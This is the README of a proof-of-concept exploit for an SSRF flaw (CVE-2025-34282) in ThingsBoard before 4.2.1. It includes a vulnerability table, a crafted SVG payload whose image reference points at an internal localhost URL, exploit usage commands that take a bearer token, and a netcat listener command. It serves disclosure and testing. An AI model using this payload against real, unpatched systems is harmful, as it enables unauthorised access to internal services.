
PoC exploit for CVE-2025-34282 - ThingsBoard SSRF via SVG Image Upload
Server-Side Request Forgery (SSRF) vulnerability in ThingsBoard IoT Platform versions before 4.2.1.
An attacker with Tenant Admin access can upload a crafted SVG file containing an internal URL reference via the Image Upload Gallery. When ThingsBoard processes the SVG server-side, it fetches the referenced URL — allowing access to internal services not exposed to the internet.
| Field | Details |
|---|
| CVE | CVE-2025-34282 |
| Affected Version | < 4.2.1 |
| Fixed Version | 4.2.1 |
| CVSS Score | 6.9 Medium |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Vendor | https://thingsboard.io |
POST /api/image
publicLink via an <object> tag
The ssrf_localhost_5555.svg payload embeds an internal URL reference:
<image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
When uploaded, ThingsBoard's server fetches http://127.0.0.1:5555, confirming SSRF.
Requirements:
pip install requests
Run:
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py <svg_file> <bearer_token>
Example:
python thingsboard_4.2.0_ssrf_CVE-2025-34282_exploit.py ssrf_localhost_5555.svg eyJhbGci...
Start a listener to catch the SSRF callback before running the exploit:
nc -l 5555
Tamil Mathi T.